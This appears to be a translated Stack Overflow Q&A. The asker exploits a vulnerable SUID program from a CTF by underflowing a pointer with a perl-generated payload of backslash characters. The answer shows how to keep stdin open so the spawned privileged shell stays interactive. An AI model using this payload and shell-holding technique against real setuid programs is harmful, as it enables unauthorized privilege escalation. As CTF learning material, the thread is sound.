【问题标题】:gdb exiting instead of spawning a shellgdb 退出而不是生成 shell
【发布时间】:2015-06-22 05:19:15
【问题描述】:

我正在尝试利用 SUID 程序。

程序是:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
    int i;
    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
            switch(x) {
                    case '\n': print(buf, sizeof(buf)); continue; break;
                    case '\\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All done\n");
}

我们可以很容易地看到,如果我们以某种方式将 ptr 的内容更改为以 CA 开头的某个地址,那么将为我们生成一个新的 shell。由于 ptr 通常保存一些以 FF 开头的地址,因此减少它(ptr)的方法是输入 \ 字符。所以我制作了一个包含 0x35000000 '\' 字符的文件,最后在文件末尾添加了 3 个 'a'

perl -e "print '\\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa > file        # So that e() is called which actually spawns the shell

最后在 gdb 中,

run < file

然而,不是生成一个 shell gdb 而是说

process <some number> is executing new program /bin/dash
inferior 1 exited normally

然后返回 gdb 提示符而不是获取 shell。 我通过在适当的位置设置断点确认 ptr 在 setresuid() 被调用之前确实以 CA 开头。

此外,如果我在 gdb 之外通过管道传输,则不会发生任何事情。

./vulnProg < file

Bash 提示返回。

请告诉我我在哪里犯了错误。

【问题讨论】:

  • 如果你去掉所有的繁琐而只做int main() {setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }会发生什么?这真的达到了你的预期吗?
  • 抱歉,我不能这样做,因为程序在远程 CTF 服务器上,我的权限有限。

标签: c bash shell gdb suid


【解决方案1】:

你可以通过编译一个更简单的测试程序来查看问题

int main()  { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }

所有这一切都是启动一个版本的 sed(而不是 shell)并通过添加“XXX:”来转换输入。

如果你运行生成的程序,并在终端中输入,你会得到如下行为:

$./a.out 
Hello
XXX:Hello
Test
XXX:Test
^D

这正是我们所期望的。

现在,如果你从包含“Hello\nWorld”的文件中输入它,你会得到

$./a.out < file 
XXX:Hello
XXX:World
$

应用程序立即退出,当输入文件全部被读取时,应用程序的输入流被关闭。

如果你想提供额外的输入,你需要使用一个不中断输入流的技巧。

{ cat file ; cat - ; } | ./a.out

这会将文件中的所有输入放入正在运行的./a.out,然后 从标准输入读取并添加。

$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test

【讨论】:

  • 非常感谢。我只有一个小问题。如果我想把'\'放在一个文件上(比如payload)和我想在文件上执行的命令(比如commandsFile),那么...cat payload commandsFile | ./vulnProg ...执行命令并显示结果,但是 ...cat payload commandsFile > combinedFile; cat combinedFile > ./vulnProg... 没有显示任何结果。两者有什么区别?
  • &gt; 表示将其写入此文件,| 将其用作新进程的输入。所以cat a &gt; ./b 将用a 的内容覆盖./b,(不执行b),而cat a | ./b 将执行b 并将a 的内容作为其输入。
猜你喜欢
  • 1970-01-01
  • 2012-06-23
  • 1970-01-01
  • 1970-01-01
  • 2012-01-06
  • 2018-08-07
  • 2018-07-31
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多